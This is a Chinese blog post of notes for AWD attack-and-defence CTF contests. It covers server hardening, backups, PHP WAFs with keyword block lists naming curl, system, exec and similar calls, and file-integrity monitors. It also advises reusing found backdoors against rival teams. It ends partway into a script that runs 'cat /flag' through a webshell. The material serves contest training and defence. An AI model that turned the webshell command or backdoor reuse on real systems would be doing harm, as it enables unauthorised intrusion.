CTF线下赛AWD知识点

本文最后更新于:2023年11月11日 中午

[TOC]

CTF线下赛AWD知识点

AWD比赛攻击流程

0x01.备份web目录和数据库

1
2
3
tar -zcvf html.tar.gz  /var/www/html

mysqldump -uroot -proot --all-databases --skip-lock-tables > /tmp/db.sql

0x02.SSH、MySQL密码修改

1
2
3
4
5
passwd

use mysql;
set password for root@localhost = password('fxznb666');
flush privileges;

0x03.找后门

将web目录下载下来,使用D盾扫一下,将一些后门给删掉,然后再使用seay等审计工具进行代码审计

0x04.将web目录下php文件前引入相关文件

1
find /var/www/html/ -path /var/www/html/folder -prune -o -type f -name '*.php' -exec sed -i '1s/^/<?php require_once "\/tmp\/waf.php";?>\n/' {} +

0x05.上log访问日志

log1

生成log日志会在 /tmp/ 目录下生成日志文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
date_default_timezone_set("Asia/Shanghai");

if (!function_exists('getallheaders')) {
function getallheaders()
{
$headers = [];
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') {
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
}
return $headers;
}

}


function WAF_log()
{
global $WAF_query, $WAF_headers, $WAF_post, $WAF_log;
$tmp = "[" . date('y-m-d H:i:s') . "]\n";
$tmp .= "SRC IP: " . $_SERVER["REMOTE_ADDR"] . "\n";
$tmp .= $_SERVER['REQUEST_METHOD'] . ' ' . 'http://' . $_SERVER['SERVER_NAME'] . ':' . $_SERVER["SERVER_PORT"] . $_SERVER["REQUEST_URI"] . "\n";

foreach ($WAF_headers as $k => $v) {
if ($k == 'Accept-Encoding' || $k == 'Accept-Language' || $k == 'Accept' || $k == 'User-Agent' || $k == 'Referer' || $k == 'Cookie' || $k == 'X-Forwarded-For')
$tmp .= $k . ': ' . $v . "\n";
}
if (!empty($WAF_post)) {
$tmp .= "\n" . $WAF_post . "\n";
}
$tmp .= "\n";
@file_put_contents($WAF_log . "log_" . date("H", time()), $tmp, FILE_APPEND);
}

$WAF_query = $_SERVER['QUERY_STRING'];
$WAF_headers = getallheaders();
$WAF_post = @file_get_contents('php://input');
$WAF_log = '/tmp/';
$WAF_AD_log = '';

WAF_log();
?>

0x06.上waf

强waf(带日志)

在/tmp/1log下生成日志文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
<?php
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);

path_exists();//判断文件夹是否存在,不存在就创建
function path_exists($path='/tmp/1log'){
if (!is_dir($path)) {
mkdirs($path);
}
}

function mkdirs($dir, $mode = 0777)
{
if (is_dir($dir) || @mkdir($dir, $mode)) {
return true;
}
if (!mkdirs(dirname($dir), $mode)) {
return false;
}
return @mkdir($dir, $mode);
}


define('LOG_FILENAME', '/tmp/1log/Attack_Big_information.txt');
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']); //fix a bug
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
logging($input);
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
}
function logging($var) {
date_default_timezone_set("Asia/Shanghai");
$time=date("Y-m-d H:i:s");
file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);
}
waf();


class waf{

private $request_url;
private $request_method;
private $request_data;
private $headers;
private $raw;


// 自动部署构造方法
function __construct(){
//echo "class waf construct execute..</br>"; //debug code
$this->write_access_log_probably(); //记录访问纪录 类似于日志
$this->write_access_logs_detailed(); //纪录详细访问请求包
//echo "class waf construct execute..2</br>";
if($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET'){
write_attack_log("method");
}
//echo "class waf construct execute..3</br>";
$this->request_url= $_SERVER['REQUEST_URI']; //获取url来进行检测


$this->request_data = file_get_contents('php://input'); //获取post

$this->headers =$this->get_all_headers(); //获取header

//echo "class waf construct execute half..</br>";


$this->filter_attack_keyword($this->filter_invisible(urldecode($this->filter_0x25($this->request_url)))); //对URL进行检测,出现问题则拦截并记录
$this->filter_attack_keyword($this->filter_invisible(urldecode($this->filter_0x25($this->request_data)))); //对POST的内容进行检测,出现问题拦截并记录
//echo "class waf construct execute..4</br>";

$this->detect_upload();

$this->gloabel_attack_detect($this->headers);


//echo "class waf construct execute success..</br>";



}

//全局输入检测 基本的url和post检测过了则对所有输入进行简单过滤

function gloabel_attack_detect(){
foreach ($_GET as $key => $value) {
$_GET[$key] = $this->filter_dangerous_words($value);
}
foreach ($_POST as $key => $value) {
$_POST[$key] = $this->filter_dangerous_words($value);
}
foreach ($this->headers as $key => $value) {//headers在这里检测
$this->filter_attack_keyword($this->filter_invisible(urldecode($this->filter_0x25($value)))); //对http请求头进行检测,出现问题拦截并记录
$_SERVER[$key] = $this->filter_dangerous_words($value); //简单过滤
}
}


//拦截所有的文件上传 并记录上传操作 并将上传文件保存至系统tmp文件夹下
function detect_upload(){
foreach ($_FILES as $key => $value) {
if($_FILES[$key]['size']>1){
echo "小伙子你不讲武德啊,你这上传的是啥?????你很危险啊!(╯‵□′)╯︵┻━┻";
$this->write_attack_log("Upload");
//move_uploaded_file($_FILES[$key]["tmp_name"],'/tmp/uoloadfiles/'.$_FILES[$key]["name"]);
exit(0);
}
}
}

//记录每次大概访问记录,类似日志,以便在详细记录中查找
function write_access_log_probably() {
$raw = date("Y/m/d H:i:s").' ';
$raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['REMOTE_ADDR'].' ';
$raw .= 'POST: '.file_get_contents('php://input')."\r\n";
$ffff = fopen('/tmp/1log/all_requests.txt', 'a'); //日志路径
fwrite($ffff, $raw);
fclose($ffff);
}

//记录详细的访问头记录,包括GET POST http头 以获取通防waf未检测到的攻击payload
function write_access_logs_detailed(){
$data = date("Y/m/d H:i:s")." -- "."\r\n".$this->get_http_raws()."\r\n\r\n";
$ffff = fopen('/tmp/1log/all_requests_detail.txt', 'a'); //日志路径
fwrite($ffff, urldecode($data));
fclose($ffff);
}

/*
获取http请求头并写入数组
*/
function get_all_headers() {
$headers = array();

foreach($_SERVER as $key => $value) {
if(substr($key, 0, 5) === 'HTTP_') {
$headers[$key] = $value;
}
}

return $headers;
}
/*
检测不可见字符造成的截断和绕过效果,注意网站请求带中文需要简单修改
*/
function filter_invisible($str){
for($i=0;$i<strlen($str);$i++){
$ascii = ord($str[$i]);
if($ascii>126 || $ascii < 32){ //有中文这里要修改
if(!in_array($ascii, array(9,10,13))){
write_attack_log("interrupt");
}else{
$str = str_replace($ascii, " ", $str);
}
}
}
$str = str_replace(array("`","|",";",","), " ", $str);
return $str;
}

/*
检测网站程序存在二次编码绕过漏洞造成的%25绕过,此处是循环将%25替换成%,直至不存在%25
*/
function filter_0x25($str){
if(strpos($str,"%25") !== false){
$str = str_replace("%25", "%", $str);
return filter_0x25($str);
}else{
return $str;
}
}


/*
攻击关键字检测,此处由于之前将特殊字符替换成空格,即使存在绕过特性也绕不过正则的\b
*/
function filter_attack_keyword($str){//headers会产生误报
if(preg_match("/select\b|insert\b|update\b|sleep\b|drop\b|and\b|delete\b|dumpfile\b|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|multipoint\(/i", $str)){
$this->write_attack_log("sqli");
}
//文件包含的检测
if(substr_count($str,$_SERVER['PHP_SELF']) < 2){
$tmp = str_replace($_SERVER['PHP_SELF'], "", $str);
if(preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)){
$this->write_attack_log("LFI/LFR");;
}
}else{
$this->write_attack_log("LFI/LFR");
}
if(preg_match("/base64_decode|eval\(|assert\(|file_put_contents|fwrite|curl|system|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restorei/i", $str)){
$this->write_attack_log("EXEC");
}
if(preg_match("/flag/i", $str)){
$this->write_attack_log("GETFLAG");
}

}

/*
简单将易出现问题的字符替换成中文
*/
function filter_dangerous_words($str){
$str = str_replace("'", "‘", $str);
$str = str_replace("\"", "“", $str);
$str = str_replace("<", "《", $str);
$str = str_replace(">", "》", $str);
return $str;
}

/*
获取http的请求包,意义在于获取别人的攻击payload
*/
function get_http_raws() {
$raw = '';

$raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['SERVER_PROTOCOL']."\r\n";

foreach($_SERVER as $key => $value) {
if(substr($key, 0, 5) === 'HTTP_') {
$key = substr($key, 5);
$key = str_replace('_', '-', $key);
$raw .= $key.': '.$value."\r\n";
}
}
$raw .= "\r\n";
$raw .= file_get_contents('php://input');
return $raw;
}

/*
这里拦截并记录攻击payload 第一个参数为记录类型 第二个参数是日志内容 使用时直接调用函数
*/
function write_attack_log($alert){
$data = date("Y/m/d H:i:s")." -- [".$alert."]"."\r\n".$this->get_http_raws()."\r\n\r\n";
$ffff = fopen('/tmp/1log/attack_detected_log.txt', 'a'); //日志路径
fwrite($ffff, $data);
fclose($ffff);
if($alert == 'GETFLAG'){
echo "flag{erxianqiao_NB_NO1_c001}"; //如果请求带有flag关键字,显示假的flag。(2333333)
}else{
sleep(3); //拦截前延时3秒
}
exit(0);
}


}
$waf = new waf();

?>

弱waf(带日志)

/tmp/log.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
error_reporting(0);
define('LOG_FILENAME', '/tmp/log.txt');
function waf()
{
if (!function_exists('getallheaders')) {
function getallheaders()
{
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
//rewirte shell which uploaded by others, you can do more
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']); //fix a bug
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
//deal with
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern .= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern .= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
logging($input);
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
}

function logging($var)
{
date_default_timezone_set("Asia/Shanghai");//修正时间为中国准确时间
$time = date("Y-m-d H:i:s");//将时间赋值给变量$time
file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true), FILE_APPEND);
// die() or unset($_GET) or unset($_POST) or unset($_COOKIE);

}

waf();
?>

0x07.文件监控

php文件监控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
<?php
/*
整个脚本的流程是:首先进行文件备份,然后进入一个循环,循环中不断检查文件变动并恢复文件,
保持文件的完整性和安全性。同时,将备份和恢复过程中的操作记录到日志文件中,方便查看和追踪。

日志位置:/tmp/filelog.log
备份文件位置:/tmp/back/
脚本自动删除文件位置:/tmp/back/delete/

使用:把该脚本放在web根目录执行即可
*/

error_reporting(0);

//getResList($dir): 这个函数用于获取指定目录下的所有文件和文件夹列表,并返回分别存储在 $fileRes 和 $dirRes 数组中。
function getResList($dir) {
$fileRes = array();
$dirRes = array();
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir));
foreach ($iterator as $file) {
$filePath = $file->getPathname();
if ($filePath !== '/tmp/back' && $filePath !== '/tmp/filelog.log') {
if ($file->isFile()) {
$fileRes[] = $filePath;
} elseif ($file->isDir()) {
$dirRes[] = $filePath;
}
}
}
return array($fileRes, $dirRes);
}
//getHash($fileList): 这个函数用于计算文件的 MD5 哈希值。它接收一个文件列表 $fileList,
//并对每个文件读取内容,计算并存储文件路径和对应的哈希值,返回存储在 $hashRes 数组中。
function getHash($fileList) {
$hashRes = array();
foreach ($fileList as $fileName) {
$data = file_get_contents($fileName);
$hashRes[] = array($fileName, md5($data));
}
return $hashRes;
}
//backup($fileList, $dirList, $hashList, $log): 这个函数用于备份文件。它创建一个名为 /tmp/back 的备份目录,
//并将文件和文件夹复制到备份目录中,同时记录备份成功的信息到日志文件 $log 中。
function backup($fileList) {
$destination = '/tmp/back'; // 备份目标路径

// 创建备份目录(如果不存在)
if (!is_dir($destination)) {
mkdir($destination, 0777, true);
}

// 遍历文件列表并备份每个文件
foreach ($fileList as $file) {
$source = realpath(dirname(__FILE__) . '/' . $file); // 获取文件的绝对路径

// 检查文件是否存在
if (file_exists($source)) {
$destinationDir = $destination . '/' . dirname($file); // 目标文件夹路径
$destinationFile = $destination . '/' . $file; // 目标文件路径

// 创建目标文件夹(如果不存在)
if (!is_dir($destinationDir)) {
mkdir($destinationDir, 0777, true);
}

copy($source, $destinationFile); // 复制文件到目标路径

echo "备份成功:$file\n";
} else {
echo "文件不存在:$file\n";
}
}
echo "[+] backup files success!\n";
}



//removeDirectory($dir): 这个函数用于递归地删除指定目录及其下的所有文件和文件夹。
function removeDirectory($dir) {
if (!is_dir($dir)) {
return;
}
$files = array_diff(scandir($dir), array('.', '..'));
foreach ($files as $file) {
$path = $dir . '/' . $file;
if (is_dir($path)) {
removeDirectory($path);
} else {
unlink($path);
}
}
rmdir($dir);
}

//check($path, $oldList, $log): 这个函数用于检查文件变动。它比较当前文件列表 $newList 和之前备份的文件列表 $oldList,如果有新文件出现,
//则将其重命名并移动到名为 /tmp/back/delete 的目录中,并记录删除文件的信息到日志文件 $log 中。
function check($path, $oldList, $log) {
$deleteDir = '/tmp/back/delete';
if (!is_dir($deleteDir)) {
mkdir($deleteDir);
}
$newList = getResList($path)[0];
foreach ($newList as $file) {
if (!in_array($file, $oldList)) {
$rand = rand(0, 99999);
$newPath = $file . $rand;
rename($file, $newPath);
rename($newPath, $deleteDir . '/' . basename($newPath));
fwrite($log, date('Y-m-d H:i:s') . " [-] delete file $newPath!\n");
echo "[-] delete file $newPath!\n";
}
}
}

//recoverFiles($path, $oldList, $hashList, $log): 这个函数用于恢复文件。它比较当前文件列表 $newList 和之前备份的文件列表 $oldList,如果有文件在当前列表中不存在,
//说明该文件已被删除,从备份目录中恢复该文件。同时,它还比较文件的哈希值,如果哈希值不一致,说明文件已被修改,也从备份目录中恢复该文件。
function recoverFiles($path, $oldList, $hashList, $log) {
$newList = getResList($path)[0];
foreach ($oldList as $file) {
if (!in_array($file, $newList)) {
$backupDir = '/tmp/back' . substr($file, 1);

// 检查文件所在的文件夹是否存在,不存在则创建它
$fileDir = dirname($file);
if (!is_dir($fileDir)) {
mkdir($fileDir, 0777, true);
}

copy($backupDir, $file);
fwrite($log, date('Y-m-d H:i:s') . " [+] recover file $file!\n");
echo "[+] recover file $file!\n";
}
}
$newHashList = getHash($newList);
foreach ($hashList as $hash) {
if (!in_array($hash, $newHashList)) {
$backupDir = '/tmp/back' . substr($hash[0], 1);

// 检查文件所在的文件夹是否存在,不存在则创建它
$fileDir = dirname($hash[0]);
if (!is_dir($fileDir)) {
mkdir($fileDir, 0777, true);
}

unlink($hash[0]);
copy($backupDir, $hash[0]);
fwrite($log, date('Y-m-d H:i:s') . " [+] recover file {$hash[0]}!\n");
echo "[+] recover file {$hash[0]}!\n";
}
}
}

//main(): 这个函数是脚本的入口点。它设置路径、打开日志文件,获取初始的文件列表和哈希值列表,
//进行文件备份,并进入一个无限循环的检查和恢复文件的过程,每隔2秒执行一次。
function main() {
$path = './';
$log = fopen('/tmp/filelog.log', 'a');
list($fileList, $dirList) = getResList($path);
print_r($fileList);
print_r($dirList);
$hashList = getHash($fileList);
print_r($hashList);
backup($fileList);
while (true) {
check($path, $fileList, $log);
recoverFiles($path, $fileList, $hashList, $log);
sleep(2);
}
}

main();

python版文件监控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
# -*- coding: utf-8 -*-
import os
import re
import hashlib
import shutil
import ntpath
import time
import sys

# 设置系统字符集,防止写入log时出现错误
reload(sys)
sys.setdefaultencoding('utf-8')
CWD = os.getcwd()
FILE_MD5_DICT = {} # 文件MD5字典
ORIGIN_FILE_LIST = []

# 特殊文件路径字符串
Special_path_str = 'drops_B0503373BDA6E3C5CD4E5118C02ED13A' #drops_md5(icecoke1024)
bakstring = 'back_CA7CB46E9223293531C04586F3448350' #bak_md5(icecoke1)
logstring = 'log_8998F445923C88FF441813F0F320962C' #log_md5(icecoke2)
webshellstring = 'webshell_988A15AB87447653EFB4329A90FF45C5'#webshell_md5(icecoke3)
difffile = 'difference_3C95FA5FB01141398896EDAA8D667802' #diff_md5(icecoke4)

Special_string = 'drops_log' # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}

def isListLike(value):
return isinstance(value, (list, tuple, set))

# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):

if noneToNull and value is None:
return None

if isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value

if isinstance(value, unicode):
return value
elif isinstance(value, basestring):
while True:
try:
return unicode(value, encoding or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
try:
return unicode(value, UNICODE_ENCODING)
except:
value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
else:
try:
return unicode(value)
except UnicodeDecodeError:
return unicode(str(value), errors="ignore")

# 目录创建
def mkdir_p(path):
import errno
try:
os.makedirs(path)
except OSError as exc:
if exc.errno == errno.EEXIST and os.path.isdir(path):
pass
else: raise

# 获取当前所有文件路径
def getfilelist(cwd):
filelist = []
for root,subdirs, files in os.walk(cwd):
for filepath in files:
originalfile = os.path.join(root, filepath)
if Special_path_str not in originalfile:
filelist.append(originalfile)
return filelist

# 计算机文件MD5值
def calcMD5(filepath):
try:
with open(filepath,'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
return hash
# 文件MD5消失即为文件被删除,恢复文件
except Exception, e:
print u'[*] 文件被删除 : ' + getUnicode(filepath)
shutil.copyfile(os.path.join(Special_path['bak'], ntpath.basename(filepath)), filepath)
for value in Special_path:
mkdir_p(Special_path[value])
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
print u'[+] 被删除文件已恢复!'
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('deleted_file: ' + str(getUnicode(filepath)) + ' 时间: ' + str(getUnicode(time.ctime())) + '\n')
f.close()
except Exception as e:
print u'[-] 记录失败 : 被删除文件: ' + getUnicode(filepath)
pass

# 获取所有文件MD5
def getfilemd5dict(filelist = []):
filemd5dict = {}
for ori_file in filelist:
if Special_path_str not in ori_file:
md5 = calcMD5(os.path.realpath(ori_file))
if md5:
filemd5dict[ori_file] = md5
return filemd5dict

# 备份所有文件
def backup_file(filelist=[]):
for filepath in filelist:
if Special_path_str not in filepath:
shutil.copy2(filepath, Special_path['bak'])

if __name__ == '__main__':
print u'---------持续监测文件中------------'
for value in Special_path:
mkdir_p(Special_path[value])
# 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST)
print u'[*] 所有文件已备份完毕!'
while True:
file_list = getfilelist(CWD)
# 移除新上传文件
diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
if len(diff_file_list) != 0:
for filepath in diff_file_list:
try:
f = open(filepath, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] 查杀疑似WebShell上传文件: ' + getUnicode(filepath)
shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
print u'[+] 新上传文件已删除!'
except Exception as e:
print u'[!] 移动文件失败, "%s" 疑似WebShell,请及时处理.'%getUnicode(filepath)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('new_file: ' + str(getUnicode(filepath)) + ' 时间: ' + str(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] 记录失败 : 上传文件: ' + getUnicode(e)

# 防止任意文件被修改,还原被修改文件
md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
for filekey in md5_dict:
if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
try:
f = open(filekey, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] 该文件被修改 : ' + getUnicode(filekey)
shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
shutil.copyfile(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
print u'[+] 文件已复原!'
except Exception as e:
print u'[!] 移动文件失败, "%s" 疑似WebShell,请及时处理.'%getUnicode(filekey)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('difference_file: ' + str(getUnicode(filekey)) + ' 时间: ' + str(getUnicode(time.ctime())) + '\n')
f.close()
except Exception as e:
print u'[-] 记录失败 : 被修改文件: ' + getUnicode(filekey)
pass
time.sleep(2)

AWD规则

AWD:Attack With Defence,即攻防对抗,比赛中每个队伍维护多台服务器(一般两三台,视小组参赛人数而定),服务器中存在多个漏洞(web层、系统层、中间件层等),利用漏洞攻击其他队伍可以进行得分,加固时间段可自行发现漏洞对服务器进行加固,避免被其他队伍攻击失分。

  • 1.一般分配Web服务器,服务器(多数为Linux)某处存在flag(一般在根目录下);
  • 2.可能会提供一台流量分析虚拟机,可以下载流量文件进行数据分析(较少提供);
  • 3.flag在主办方的设定下每隔一定时间刷新一轮;
  • 4.各队一般都有一个初始分数;
  • 5.flag一旦被其他队伍拿走,该队扣除一定积分;
  • 6.得到flag的队伍加分;
  • 7.一般每个队伍会给一个低权限用户,非root权限;
  • 8.主办方会对每个队伍的服务进行check,服务器宕机扣除本轮flag分数,扣除的分值由服务check正常的队伍均分。

0x01.前期准备

SSH登录

口令登录

ssh口令登录格式:(默认22端口)

1
2
3
ssh 用户名@ip -p 端口号
例如:
ssh ctf@192.168.56.128 -p 2201

密钥登录

1
2
ssh -i 私钥文件路径 用户名@ip -p 端口
ssh -i /xxx/id_rsa ctf@192.168.56.128 -p 2201

改密码

官方给出的服务器密码有可能是默认的,这时我们需要赶快修改密码

如果我们发现每个队伍的SSH账号密码都是一样的,我们需要立即修改口令,同时可以准备好脚本,进行利用

SSH密码修改

1
passwd

mysql密码修改

1
2
3
4
5
6
7
8
# 法一
use mysql;
set password for root@localhost = password('L372488621.'); # 此处使用password()函数加密
flush privileges;

# 法二
update user set password = PASSWORD('需要修改的密码') where user = 'root';
flush privileges; # 刷新

备份数据

比赛开始后第一时间就要备份服务器中web目录下的文件/var/www/html/,为了防止对方利用漏洞进入服务器把文件全部删除了,导致服务器宕机了

比赛开始后第一时间备份数据库

备份目录

1
2
3
4
5
6
7
8
9
10
11
# z: .tar.gz的格式
# c: 压缩
# x: 解压缩
# v: 显示详细信息
# f: 指定文件

# 压缩
tar -zcvf html.tar.gz /var/www/html

# 解压
tar -zxvf html.tar.gz

备份数据库

  • 备份指定多个数据库
1
mysqldump -uroot -p123456 --databases DB1,DB2 > /tmp/db.sql
  • 不锁定表导出
1
2
3
mysqldump -uroot -proot --all-databases --skip-lock-tables > /tmp/db.sql
# --all-databases 导出所有数据库中的表和数据,而不只是特定数据库。
# --skip-lock-tables 在导出过程中跳过锁定表。这可以确保在导出期间不会阻塞其他对数据库的操作。
  • 恢复备份(在mysql的终端执行该命令)
1
source /xxx/db.sql

执行了该命令,就可以将数据库恢复

查找后门

首先将服务器的源码下载下来,使用D盾扫描一下,看一下是不是有后门,如果有,马上删除自己服务器上的后门,同时也可以利用该后门攻击其他靶机

然后使用seay等工具进行代码审计

0x02.自动提交flag

比赛中提交 flag 一般会带上队伍 token 和 flag,格式如下:

1
flag.php?token=teamtoken&flag=this_is_flag

获取 flag 一般有两种方式:

  1. flag 在根目录,直接 cat 读取 flag
  2. 在对方机器请求指定地址(curl)获取 flag

flag 每几分钟更换一轮,手动提交显然是不太可能的,需要提前准备自动获取,提交 flag 的脚本,并根据实际情况进行修改

下面这个脚本每两分钟获取一次 flag 并自动提交

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#coding:utf-8
import requests
import re
import time

url = "http://ip:"
url1 = ""
shell = "/includes/config.php?d=system"
passwd = "c"
port = "80"
payload = {passwd: 'cat /flag'}

